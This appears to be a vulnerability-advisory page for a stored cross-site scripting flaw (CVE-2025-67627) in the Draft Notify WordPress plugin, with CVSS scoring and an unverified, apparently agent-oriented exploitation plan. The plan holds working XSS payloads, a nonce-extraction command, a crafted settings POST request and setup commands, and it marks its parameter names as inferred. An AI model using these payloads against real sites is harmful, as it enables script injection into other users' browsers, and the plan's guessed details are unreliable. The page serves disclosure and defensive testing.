CVE-2025-67627

Draft Notify <= 1.5 - Authenticated (Administrator+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
4.4
CVSS Score
4.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Draft Notify plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.5
PublishedDecember 21, 2025
Last updatedJanuary 5, 2026
Affected plugindraft-notify
Research Plan
Unverified

This research plan outlines the investigation and exploitation of **CVE-2025-67627**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Draft Notify** plugin. Since source files were not provided, the following plan uses standard WordPress plugin patterns and provides specific `grep` comm…

Show full research plan

This research plan outlines the investigation and exploitation of CVE-2025-67627, a Stored Cross-Site Scripting (XSS) vulnerability in the Draft Notify plugin.

Since source files were not provided, the following plan uses standard WordPress plugin patterns and provides specific grep commands for the execution agent to identify exact identifiers within the target environment.


1. Vulnerability Summary

The Draft Notify plugin (<= 1.5) fails to sufficiently sanitize and escape user-supplied settings. While the vulnerability requires Administrator-level privileges, it is considered a security flaw because it allows for Stored XSS in contexts where unfiltered_html is disabled (e.g., Multi-site installations or hardened single-site instances). An attacker can inject a payload into a plugin setting which then executes in the browser of any user (including Super Admins) who visits the affected page.

2. Attack Vector Analysis

  • Vulnerable Endpoint: Plugin settings page (likely under wp-admin/options-general.php or a custom menu page).
  • Vulnerable Parameter: (Inferred) Settings fields such as notification templates, email subjects, or display messages.
  • Authentication Level: Administrator+.
  • Preconditions: unfiltered_html must be disabled. This can be simulated by adding define( 'DISALLOW_UNFILTERED_HTML', true ); to wp-config.php.

3. Code Flow (Inferred)

  1. Input: An Administrator submits a POST request to update plugin settings.
  2. Storage: The plugin receives the input and uses update_option() or the Settings API to save the data to the wp_options table without using sanitize_text_field() or wp_kses().
  3. Sink: The plugin retrieves the setting using get_option() and outputs it directly to the HTML via echo or printf without applying esc_html(), esc_attr(), or wp_kses(). This likely occurs in the admin dashboard or on the settings page itself.

4. Nonce Acquisition Strategy

Since the attacker is an Administrator, they can access the settings page directly to extract the necessary CSRF tokens (nonces).

Step-by-step Acquisition:

  1. Identify the Page: Search for where the plugin adds its menu:
    grep -rn "add_options_page\|add_menu_page" /var/www/html/wp-content/plugins/draft-notify/
  2. Navigate: Use browser_navigate to go to the identified settings page.
  3. Extract Nonce:
    • If using the standard Settings API, the nonce is in a hidden input field: _wpnonce.
    • If using a custom AJAX handler, search for wp_localize_script in the source to find the JS object containing the nonce.
    • Agent Command: browser_eval("document.querySelector('input[name=\"_wpnonce\"]')?.value || window.draft_notify_params?.nonce")

5. Exploitation Strategy

Step 1: Identification of Fields

The agent must first determine which settings are available.

  • Action: Grep for register_setting or update_option.
    grep -rn "register_setting\|update_option" /var/www/html/wp-content/plugins/draft-notify/

Step 2: Payload Injection

Assuming a setting named draft_notify_options[message] (inferred), the agent will send a POST request.

  • Request Method: POST
  • URL: https://<target>/wp-admin/options.php (if using Settings API) or admin-ajax.php.
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    option_page=draft_notify_settings_group&
    action=update&
    _wpnonce=[EXTRACTED_NONCE]&
    draft_notify_options[message]=<script>alert(document.domain)</script>
    

Step 3: Triggering Execution

Navigate to the page where the message is displayed (e.g., the plugin settings page itself or the "Posts" list if the notification appears there).

6. Test Data Setup

  1. Hardening: Disable unfiltered_html to ensure the vulnerability is valid for an Administrator.
    wp config set DISALLOW_UNFILTERED_HTML true --raw
  2. Plugin Activation: Ensure the plugin is active.
    wp plugin activate draft-notify
  3. User Creation: Create a standard Administrator user for the exploitation.
    wp user create admin_tester admin@example.com --role=administrator --user_pass=password123

7. Expected Results

  • The POST request should return a 302 Found redirecting back to the settings page with a settings-updated=true parameter.
  • Upon navigating to the page where the setting is rendered, a JavaScript alert box showing the document domain should appear, confirming the script execution.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored raw in the database.
    wp option get draft_notify_options (or the specific option name found in Step 5.1).
  2. Output Check: Use http_request to fetch the settings page and check for the unescaped script tags in the raw HTML.
    http_request --url "https://<target>/wp-admin/options-general.php?page=draft-notify" --method GET
    Look for: <script>alert(document.domain)</script> in the response body.

9. Alternative Approaches

  • XSS via Email Templates: If the plugin allows editing the email body sent to users, test if the XSS triggers when the plugin "previews" the email in the admin interface.
  • Attribute Injection: If the input is reflected inside an HTML attribute (e.g., value="[INPUT]"), use a payload like: "><img src=x onerror=alert(1)>.
  • Admin Notices: Check if the plugin uses admin_notices to display success/error messages containing the unsanitized input.
    grep -rn "admin_notices" /var/www/html/wp-content/plugins/draft-notify/
Research Findings
Static analysis — not yet PoC-verified

Summary

The Draft Notify plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 1.5. This occurs because the plugin fails to sanitize input and escape output for its settings, allowing administrators to inject malicious scripts that execute in the context of other users' browsers when they access the plugin's administration pages.

Exploit Outline

To exploit this vulnerability, an authenticated attacker with Administrator-level privileges must first identify the plugin's settings page and extract the valid security nonce (e.g., from the '_wpnonce' field). The attacker then submits a POST request to update the plugin settings—typically through wp-admin/options.php—injecting a JavaScript payload such as <script>alert(document.domain)</script> into a setting parameter like a notification message or template. The payload is stored in the database and will execute whenever an administrative user views the page where that setting is rendered. This exploit is effective in WordPress Multi-site installations or instances where the DISALLOW_UNFILTERED_HTML constant is set to true.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.